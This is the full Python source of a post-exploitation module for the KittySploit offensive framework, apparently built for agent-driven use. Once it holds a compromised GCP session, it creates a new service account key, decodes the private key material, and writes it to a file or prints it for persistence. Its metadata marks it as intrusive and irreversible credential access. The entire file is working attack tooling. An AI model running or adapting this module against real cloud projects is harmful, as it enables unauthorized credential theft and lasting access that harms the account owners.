GCP Create Service Account Key
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import base64
import json
from kittysploit import *
from lib.post.gcp import GcpPostMixin
class Module(Post, GcpPostMixin):
__info__ = {
"name": "GCP Create Service Account Key",
"description": "Create a user-managed JSON key for a service account",
"author": "KittySploit Team",
"session_type": SessionType.GCP_API,
"tags": ["gcp", "cloud", "iam", "credentials", "persistence"],
'agent': {
'risk': 'intrusive',
'effects': ['credential_access', 'configuration_change', 'api_request'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['credentials', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [],
'consumes_capabilities': ['shell'],
'option_bindings': {},
'suggested_followups': []},
},
}
service_account_email = OptString("", "Target service account email", True)
key_algorithm = OptString("KEY_ALG_RSA_2048", "Key algorithm (KEY_ALG_RSA_2048)", False)
export_key_file = OptString("", "Write decoded service account JSON key to this file", False)
export_json = OptString("", "Optional metadata output JSON file", False)
mask_key = OptBool(True, "Mask private key material in console output", False)
def run(self):
try:
project_id = self._gcp_project_id()
target = str(self.service_account_email or "").strip()
if not project_id:
print_error("Could not resolve project_id from session")
return False
if not target:
print_error("service_account_email is required")
return False
print_info(f"Creating user-managed key for {target}...")
result = self._gcp_create_service_account_key(
project_id,
target,
key_algorithm=str(self.key_algorithm or "KEY_ALG_RSA_2048"),
)
if not result.get("ok"):
print_error(f"Key creation failed: {result.get('error', '')}")
return False
key = result.get("key") or {}
private_key_data = str(key.get("privateKeyData") or "")
key_name = key.get("name", "")
print_success("Service account key created")
print_info(f"Key resource: {key_name}")
print_info(f"Valid after: {key.get('validAfterTime', '?')}")
decoded_key = None
if private_key_data:
try:
decoded_key = base64.b64decode(private_key_data).decode("utf-8", errors="replace")
except Exception:
decoded_key = private_key_data
if decoded_key and self.export_key_file:
key_path = self._gcp_export_text(str(self.export_key_file), decoded_key)
if key_path:
print_success(f"Service account key written to {key_path}")
elif decoded_key:
displayed = self._gcp_mask_value(decoded_key, mask=bool(self.mask_key))
print_info(f"Private key material: {displayed[:500]}")
output = {
"project_id": project_id,
"service_account_email": target,
"key_name": key_name,
"validAfterTime": key.get("validAfterTime"),
"validBeforeTime": key.get("validBeforeTime"),
"privateKeyData": decoded_key,
}
exported = self._gcp_export_json(str(self.export_json or ""), output)
if exported:
print_success(f"Results exported to {exported}")
return self.module_result(success=True, data=output)
except Exception as exc:
print_error(f"Service account key creation failed: {exc}")
return False
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